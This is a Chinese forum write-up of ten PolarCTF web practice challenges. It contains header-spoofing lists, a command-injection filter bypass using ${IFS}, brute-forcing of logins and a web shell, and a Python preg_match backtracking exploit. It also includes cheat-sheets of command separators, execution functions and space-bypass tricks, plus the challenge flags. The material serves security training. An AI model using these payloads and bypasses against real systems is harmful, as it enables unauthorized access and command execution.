Web刷题之polarctf靶场(1)

打印 上一主题 下一主题

主题 635|帖子 635|积分 1905

PolarCTF

1.XFF

  1. 打开靶场发现需要ip为1.1.1.1的用户才行, 打开BurpSuite进行抓包并对数据包进行修改,根据题目XFF提示
复制代码
  1. flag{847ac5dd4057b1ece411cc42a8dca4b7}
复制代码
对此题所考察的知识进行一个扩展(对于构造本地用户语句)
  1. X-Forwarded-For:127.0.0.1
  2. X-Forwarded:127.0.0.1
  3. Forwarded-For:127.0.0.1
  4. Forwarded:127.0.0.1
  5. X-Forwarded-Host:127.0.0.1
  6. X-remote-IP:127.0.0.1
  7. X-remote-addr:127.0.0.1
  8. True-Client-IP:127.0.0.1
  9. X-Client-IP:127.0.0.1
  10. Client-IP:127.0.0.1
  11. X-Real-IP:127.0.0.1
  12. Ali-CDN-Real-IP:127.0.0.1
  13. Cdn-Src-Ip:127.0.0.1
  14. Cdn-Real-Ip:127.0.0.1
  15. CF-Connecting-IP:127.0.0.1
  16. X-Cluster-Client-IP:127.0.0.1
  17. WL-Proxy-Client-IP:127.0.0.1
  18. Proxy-Client-IP:127.0.0.1
  19. Fastly-Client-Ip:127.0.0.1
  20. True-Client-Ip:127.0.0.1
  21. Host: 127.0.0.1
复制代码
2.爆破

  1. 打开靶场发现是PHP代码,大概就是在目录/flag.php中藏着flag
复制代码
  1. flag{8277e0910d750195b448797616e091ad}
复制代码
此题也可以通过使用工具dirsearch来爆破出目录

对此题的php源码进行一个扩展
  1. 1. substr()函数返回字符串中的一部分
  2. substr(string, start, length)其中string和start是必需参数而length是可选参数
  3. 注释: 如果start参数是负数且length小于或等于start, 则默认length为0
  4. 对于start参数的详细解释:
  5. (1) 若为正数, 即在字符串的指定位置开始
  6. (2) 若为负数, 即在从字符出结尾开始的指定位置开始
  7. (3) 若为0, 即在字符串中的第一个字符处开始
  8. 对于length参数的详细解释:
  9. (1) 若为正数, 即从start参数所在的位置返回的长度
  10. (2) 若为负数, 即从字符串末端返回的长度
  11. 返回值: 返回字符串的提取部分, 若失败则返回FALSE, 否则返回一个字符串
  12. 2. intval() 函数用于获取变量的整数值。
  13. intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
复制代码
3.login

  1. 打开靶场, 先F12查看页面源码, 发现存在两串数字, 猜测为学号和密码
复制代码
  1. 回显发现成功登录, 根据猜测修改学号最后两位,分别尝试了02-05发现爆出来flag的头, 那就打开BurpSuite进行爆破
复制代码

  1. flag{dlcg}
复制代码
4.iphone

  1. 点开靶场映入眼帘的就是hate windows, 不妨点击Enter键试试
复制代码
  1. 说明需要从iphone或ipad访问才行, 我们打开BurpSuite进行抓包修改
复制代码
  1. flag{ba4c2f175f0dba2f2974e676c6dfbbab}
复制代码
5.$$

  1. 打开靶场发现要求GET传参, 但是把能过滤的基本上都过滤了, 我遇事不决就先dirsearch梭哈一下无果, 就去网上搜索有没有什么办法, 发现可以用超全局变量GLOBALS
复制代码
  1. flag{9f8a2133f0cad361ff6d22a445c2531a}
复制代码
对于超全局变量GLOBALS和PHP相关的知识进行补充
  1. PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。
  2. $GLOBALS — 引用全局作用域中可用的全部变量,与其他超全局变量不同的是$GLOBALS在PHP代码中任何地方总是可用的
  3. **$GLOBALS与关键字global的区别**
  4. $GLOBALS: 用于访问所有全局变量(来自全局范围的变量), 即可以从PHP脚本中的任何范围访问的变量。
  5. global关键字: 用于在函数内部声明全局变量。但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
  6. ****总结:
  7. 用 global 时,需要在每个函数内部声明想要使用的全局变量。
  8. 用 $GLOBALS 时,可以直接访问和修改全局变量,不需要在函数内部声明。
复制代码
6.rce1

  1. 打开靶场知道这是一道命令执行的题目, 提示过滤了空格, 先将藏有flag的文件名回显出来, 此处我们用&ls来获取文件名
复制代码
  1. 有了文件名就直接cat就好了, 题目提示说过滤了空格, 我们用${IFS}即可, 没想到还把flag藏在源代码中
复制代码
  1. flag{a3949821f7627a7fd30ab0722ff9b318}
复制代码
对于此题的知识点进行补充(拼接符命令)
  1. |        只执行第二个命令
  2. ||        先执行第一个命令, 若第一个命令执行成功才可继续执行第二个命令
  3. &        无论第一个命令是否执行成功都将继续执行第二个命令
  4. &&        必须要两个命令都能成功才能执行
  5. ;        与&的用法类似(此题目也可以直接;ls)
复制代码
7.GET-POST

  1. 打开靶场, 发现需要进行GET传参, 我们这边直接用HackBar来进行传参
复制代码
  1. 再根据提示, 进行POST传参即可
复制代码
  1. flag{a52b7cac3af0b081349001c92d79cc0a}
复制代码
8.被黑掉的站

  1. 打开靶场发现并没有什么异样的地方但提示该网站还存在马, 用工具dirsearch扫目录, 发现存在/index.php.bak和/shell.php, 分别对其进行访问
复制代码
  1. 猜测该为字典, 再对/shell.php进行访问
复制代码
  1. 打开BurpSuite用刚刚得到的字典进行爆破
复制代码
  1. flag{8e539a7a46fea05dea18b9b9f9ff6a63}
复制代码
9.swp
  1. 用工具dirsearch扫一下目录, 发现存在/.index.php.swp
复制代码
**

**
  1. 访问该目录会发现得到下面代码
  2. function jiuzhe($xdmtql){ //传入xdmtql变量
  3.         return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
  4. }
  5. $xdmtql=@$_POST['xdmtql'];
  6. //判断变量是否为数组
  7. if(!is_array($xdmtql)){
  8.         //利用函数jiuzhe来判断
  9.         if(!jiuzhe($xdmtql)){
  10.                 //绕过preg_match函数后匹配变量,匹配到的话输出flag
  11.                 if(strpos($xdmtql,'sys nb')!==false){
  12.                         echo 'flag{*******}';
  13.                 }else{
  14.                         echo 'true .swp file?';
  15.                         }
  16.         }else{
  17.                 echo 'nijilenijile'; //匹配到/sys.*nb/is的话输出
  18.         }
  19. }
  20. 思考preg_match()绕过:
  21. 我们都知道preg_match()的回溯次数默认是1000000次(中英文次数不同, 实测回溯为100w次), 但也是可以设定的, 具体可以在php.ini中查到
复制代码
  1. exp:
  2. import requests
  3. result = requests.post("http://77e3de24-d309-4b3c-84dc-b78d45c38ed3.www.polarctf.com:8090/", data={"xdmtql":"sys nb"+"aa"*1000000})
  4. print(result.text)
  5. #flag{4560b3bfea9683b050c730cd72b3a099}
复制代码
10.简朴rce
  1. 打开靶场发现是代码审计, 大概了解过滤掉了命令执行函数、输出函数以及空格
复制代码
  1. 我们通过执行函数passthru()来替换system(), 空格就用${IFS}替代即可
复制代码
  1. ls命令找到flag文件, 用sort来代替cat来读取flag文件
复制代码
  1. #flag{j6856fd063f0a04874311187da1191h6}
复制代码
对绕过做一个总结:
  1. 1. 命令执行函数
  2. system()         //输出并且返回最后一行shell的结果
  3. exec()            //不会输出结果, 返回最后一行shell的结果, 而且所有结果可以保存到数组中返回
  4. passthru()        //只调用写进去的命令, 并把命令的与逆行结果直接输出到设备上(可以替换system)
  5. 2. 输出函数
  6. cat 从第一行开始将所有内容输出
  7. tac 从最后一行倒序将所有内容输出
  8. nl 显示时输出行号(与cat -n类似)
  9. more 根据窗口大小, 一页一页显示文件内容
  10. less 和more类似, 优点在于可以往前翻页, 还能搜索字符
  11. head 只显示头几行
  12. tail 只显示最后几行
  13. sort 文本内容排列
  14. 3. 空格绕过
  15. ${IFS}
  16. $IFS$9
  17. {IFS}$9
  18. 重定向符: <>(但是不支持后面跟通配符)
  19. 水平制表符%09
  20. %0a        回车
  21. %0d 换行
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

瑞星

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表